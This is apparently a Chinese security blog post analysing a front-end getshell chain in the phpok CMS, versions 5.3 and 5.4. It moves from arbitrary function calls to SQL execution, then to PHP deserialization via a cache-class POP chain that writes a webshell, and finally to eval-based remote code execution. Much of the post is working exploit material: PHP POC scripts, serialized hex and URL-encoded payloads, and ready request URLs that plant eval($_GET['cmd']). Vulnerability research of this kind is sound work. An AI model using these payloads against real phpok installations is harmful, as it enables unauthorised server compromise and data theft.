phpok V5.3/5.4 前台getshell

任意sql语句执行 => 反序列化 && RCE

路由

index.php admin.php api.php 分别对应framework文件夹下的www admin api这三个文件夹

路由接口参数$_GET['c'],拼接上_control.php就是framework/(www)(admin)(api)目录下对应文件,对应类为{$c}_control

函数接口参数$_GET['f'],拼接上_f就是对应方法

漏洞流程

  • 对用户输入的json数据未做过滤,用户输入通过array_merge函数存入数组
  • 执行任意函数来进行任意sql语句执行和反序列化
  • 任意文件写入
  • 任意命令执行

V5.4漏洞分析

任意调用函数

存在漏洞的类和方法:framework/api/call_control.php::index_f

进入:api.php?c=call

首先,我们可以通过get传入参数data,然后如果datajson格式的数据,会对数据执行json_decode

先随便传一个:data={"a":"1"}调试看看

通过json_decode后会进入format函数对data处理,跟进format函数,会发现这里会将json_decode后得到的键名和键值中的双引号,单引号等替换掉,这里是一个要注意的限制

然后经过一个查询后返回$call_all

当我们输入的键名存在$call_all[$key]$call_all[$key]['is_api']存在时,会调用phpok函数

找一个符合条件的,比如$call_all['m_picplayer']

替换payload:

1
?data={"m_picplayer":{"a":"1"}}

跟进framework/phpok_tpl_helper.php::phpok

又调用一个phpok函数,继续跟进

framework/phpok_call.php::phpok

函数前半部分对我们传入的{"a":"1"}即参数$rs进行一系列赋值处理后将$rs数组通过array_merge函数合并到$call_rs数组中,而$rs数组我们是可以控制的,也就等于说$call_rs数组中的参数我们也可以进行控制

然后将$call_rs数组的type_id字段取出拼接上_后,作为函数名执行$this->func($call_rs)$this->func($call_rs,$cache_id)

所以我们可以通过控制type_id字段来执行任意以_开头的函数

_sql函数利用

首先目光放在_sql方法上

首先是参数$rs['sqlinfo'],我们可以控制,然后这里将之前发现format函数的过滤部分又替换了回来:

1
2
$msg = str_replace(array("\\","'",'"',"<",">"),array("&#92;","&#39;","&quot;","&lt;","&gt;"),$msg); //format函数
$rs['sqlinfo'] = str_replace(array('&#39;','&quot;','&apos;','&#34;'),array("'",'"',"'",'"'),$rs['sqlinfo']); //_sql函数

等于说我们随意添加单双引号最后都等于没过滤,然后传入get_all方法

先把payload替换到现有执行到_sql函数的条件:

1
data={"m_picplayer":{"type_id":"sql","cache":"false","sqlinfo":"select 'somnus';"}}

跟进get_all方法

跟进query方法

执行mysqli_query,ok,到这里我们就发现可以任意执行sql语句了

下面再看看另一个利用函数

_fields函数利用

经过两次sql查询后,执行了一次反序列化操作,看看两次查询

先把payload换成执行_fields的:

1
data={"m_picplayer":{"type_id":"fields","cache":"false"}}

framework/model/project.php::project_one

执行的sql语句:

1
$sql = "SELECT * FROM qinggan_project WHERE id='41' AND site_id='1'";

framework/model/module.php::fields_all

执行的sql语句:

1
$sql = "SELECT * FROM qinggan_fields WHERE ftype='21' ORDER BY taxis ASC,id DESC";

然后将执行的结果返回给$flist参数后,将$value['ext']值拼接到unserialize反序列化

那么我们要控制ext字段,就可以利用前面分析的_sql方法来向qinggan_fields表中插入ftype='21'的数据

1
INSERT INTO qinggan_fields(`id`,`ftype`,`title`,`identifier`,`field_type`,`note`,`form_type`,`form_style`,`format`,`content`,`taxis`,`ext`,`is_front`,`search`,`search_separator`,`form_class`) VALUES(1,'21','text','pic','int','test','upload','test','safe','test',20,POC,0,0,'test','test');

结合之前触发_sql的payload:

1
data={"m_picplayer":{"type_id":"sql","cache":"false","sqlinfo":"INSERT INTO qinggan_fields(`id`,`ftype`,`title`,`identifier`,`field_type`,`note`,`form_type`,`form_style`,`format`,`content`,`taxis`,`ext`,`is_front`,`search`,`search_separator`,`form_class`) VALUES(1,'21','text','pic','int','test','upload','test','safe','test',20,POC,0,0,'test','test');"}}

然后触发_fields

1
data={"m_picplayer":{"type_id":"fields","cache":"false","site":1,"pid":41}}

注意添加上确认不会返回false,在qinggan_project表中,满足条件的site:1pid:41参数

测试下:

可以看到此时已经成功查询到我们插入的数据部分,最后将ext替换成我们要执行的反序列化POC即可

POP

全局搜索__destruct

锁定framework/engine/cache.php

可控参数$this->key_id$this->key_list,传入save方法,跟进

存在写文件操作,参数$content$file都可控,只需要通过php://filter/write=convert.base64-decode/伪协议来绕过死亡exit()即可

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php

class cache
{
protected $key_id;
protected $key_list;
protected $folder;

public function __construct()
{
$this->key_id = "php://filter/write=convert.base64-decode/resource=somnus";
$this->folder = "";
$this->key_list = "aaPD9waHAgcGhwaW5mbygpOz8+";
}
}

$c = new cache();
echo bin2hex(serialize($c));

//4f3a353a226361636865223a333a7b733a393a22002a006b65795f6964223b733a35363a227068703a2f2f66696c7465722f77726974653d636f6e766572742e6261736536342d6465636f64652f7265736f757263653d736f6d6e7573223b733a31313a22002a006b65795f6c697374223b733a32363a2261615044397761484167634768776157356d627967704f7a382b223b733a393a22002a00666f6c646572223b733a303a22223b7d

攻击

payload1:

1
?c=call&data={"m_picplayer":{"type_id":"sql","cache":"false","sqlinfo":"INSERT INTO qinggan_fields(`id`,`ftype`,`title`,`identifier`,`field_type`,`note`,`form_type`,`form_style`,`format`,`content`,`taxis`,`ext`,`is_front`,`search`,`search_separator`,`form_class`) VALUES(1,'21','text','pic','int','test','upload','test','safe','test',20,0x4f3a353a226361636865223a333a7b733a393a22002a006b65795f6964223b733a35363a227068703a2f2f66696c7465722f77726974653d636f6e766572742e6261736536342d6465636f64652f7265736f757263653d736f6d6e7573223b733a31313a22002a006b65795f6c697374223b733a32363a2261615044397761484167634768776157356d627967704f7a382b223b733a393a22002a00666f6c646572223b733a303a22223b7d,0,0,'test','test');"}}

payload2:

1
data={"m_picplayer":{"type_id":"fields","cache":"false","site":1,"pid":41}}

最终效果

V5.3漏洞分析

5.3版本与5.4版本实际上差别就是对json_decode后的数据没有经过format函数的引号替换处理。所以5.4的POC同样可以套在5.3中

不过没有了format函数的过滤,可以试着寻找其他更简便的函数,如_format_ext_all函数

我们只需控制数组的键值部分的form_typecontent字段即可直接进行反序列化操作

不过,这里要注意,由于我们反序列化的是cache 类,而cache类中是带有protected变量,所以序列化后的字符串一定会带有%00,而json_decode是不支持直接传入%00的,所以我们需要将%00进行unicode编码成\u0000传入。还有要将双引号"转义

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

class cache
{
protected $key_id;
protected $key_list;
protected $folder;

public function __construct()
{
$this->key_id = "php://filter/write=convert.base64-decode/resource=somnus";
$this->folder = "";
$this->key_list = "aaPD9waHAgcGhwaW5mbygpOz8+";
}
}

$c = new cache();
$c = serialize($c);
$c = str_replace('"','\\"',$c);
$c = preg_replace('/\x00/','\u0000',$c);
echo urlencode($c);

payload:

1
/api.php?c=call&data={"m_picplayer":{"type_id":"format_ext_all","cache":"false","id":{"form_type":"url","content":"O%3A5%3A%5C"cache%5C"%3A3%3A%7Bs%3A9%3A%5C"%5Cu0000%2A%5Cu0000key_id%5C"%3Bs%3A56%3A%5C"php%3A%2F%2Ffilter%2Fwrite%3Dconvert.base64-decode%2Fresource%3Dsomnus%5C"%3Bs%3A11%3A%5C"%5Cu0000%2A%5Cu0000key_list%5C"%3Bs%3A26%3A%5C"aaPD9waHAgcGhwaW5mbygpOz8%2B%5C"%3Bs%3A9%3A%5C"%5Cu0000%2A%5Cu0000folder%5C"%3Bs%3A0%3A%5C"%5C"%3B%7D"}}}

不过这里如果form_type='url'有个缺陷

因为反序列化后的对象赋值给$value['content']之后会调用rewritedefault这两个不存在的属性,如果是在php5.6环境下,会出现报错而执行不了反序列化的情况

测试代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

class cache
{
public function __destruct(){
echo "destruct";
}
public function __wakeup(){
echo "wakeup";
}
}

$c = unserialize('O:5:"cache":0:{}');
$c['a']; //调用不存在的属性a

php 5.6环境下测试反序列化,__wakeup执行成功,而__destruct失败,说明反序列化成功,但是因为调用了类的不存在的属性而导致程序异常,__destruct执行失败

而本地测试环境是php7.2,貌似就不会出现这种问题

解决方法是进入另一个elseif执行反序列化即可

payload:

1
/api.php?c=call&data={"m_picplayer":{"type_id":"format_ext_all","cache":"false","id":{"form_type":"editor","ext":"O%3A5%3A%5C"cache%5C"%3A3%3A%7Bs%3A9%3A%5C"%5Cu0000%2A%5Cu0000key_id%5C"%3Bs%3A56%3A%5C"php%3A%2F%2Ffilter%2Fwrite%3Dconvert.base64-decode%2Fresource%3Dsomnus%5C"%3Bs%3A11%3A%5C"%5Cu0000%2A%5Cu0000key_list%5C"%3Bs%3A26%3A%5C"aaPD9waHAgcGhwaW5mbygpOz8%2B%5C"%3Bs%3A9%3A%5C"%5Cu0000%2A%5Cu0000folder%5C"%3Bs%3A0%3A%5C"%5C"%3B%7D","content":"1"}}}

命令执行

全局搜索eval函数,发现在/framework/model/cart.php::freight_price()存在eval函数

而且参数$val是从数据库查询出的,因为我们前面已经可以任意执行sql语句,所以这里$val参数也是可控的

那么首先就要找到该函数的入口点,继续全局搜索freight_price函数

发现api/cart_control.php中调用了,跟进看看

在cart_control.php的pricelist_f方法中,通过之前分析的路由,我们通过:

1
/api.php?c=cart&f=pricelist

进入该方法,然后启动调试

首先需要我们get传入一个id参数,传入id=1继续调试

这里有个要注意,我们首先需要添加一样商品到购物车里,使得$this->cart_id=1

然后传入一个id参数

首先在这里程序就退出了,因为sql查询出的结果$rslist为空,于是跟进该sql查询看看

这边执行的是:

1
SELECT * FROM qinggan_cart_product WHERE cart_id='1' AND id IN($id)

所以我们只需要让idcart_id一起有查询结果即可,得到id的方法,我们就可以通过执行任意语句来注入得到,这边方便演示我就直接跳过,本地查询得到id=7

修改payload:

1
/api.php?c=cart&f=pricelist&id=7

继续调试

断在了这里,$province$city参数为空,追溯这两个参数

当我们没有get赋值address_id时,$province$city可以直接通过get方式赋值,修改payload:

1
/api.php?c=cart&f=pricelist&id=7&province=1&city=1

成功进入目标freight_price函数

直接把断点打在sql语句处

执行的sql语句:

1
SELECT * FROM qinggan_freight_price WHERE zid='25' AND CAST(unit_val AS DECIMAL)<=2499  ORDER BY unit_val+0 DESC LIMIT 1

返回如下:

最终返回price字段值:10

然后要满足条件:

1
if(strpos($val,'N') !== false)

才能将$val拼接到eval中执行,即要包含关键字N,所以我们可以直接通过任意sql语句执行,修改该表中对应zid=25unit_val='100'price字段为:1;eval($_GET[]);N,即可rce

payload:

1
/api.php?c=call&data={"m_picplayer":{"type_id":"sql","cache":"false","sqlinfo":"UPDATE qinggan_freight_price SET price='1;eval($_GET[\"cmd\"]);N' WHERE zid=25 AND unit_val='100';"}}

执行成功后触发rce:

1
/api.php?c=cart&f=pricelist&id=7&province=1&city=1&cmd=phpinfo();

参考

https://www.anquanke.com/post/id/194453

https://zhzhdoai.github.io/2019/12/11/PHPOK-5-4-%E5%89%8D%E5%8F%B0getshell/

文章作者: Somnus
文章链接: https://nikoeurus.github.io/2019/12/13/phpok-V5.3%205.4%E5%89%8D%E5%8F%B0getshell/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Somnus's blog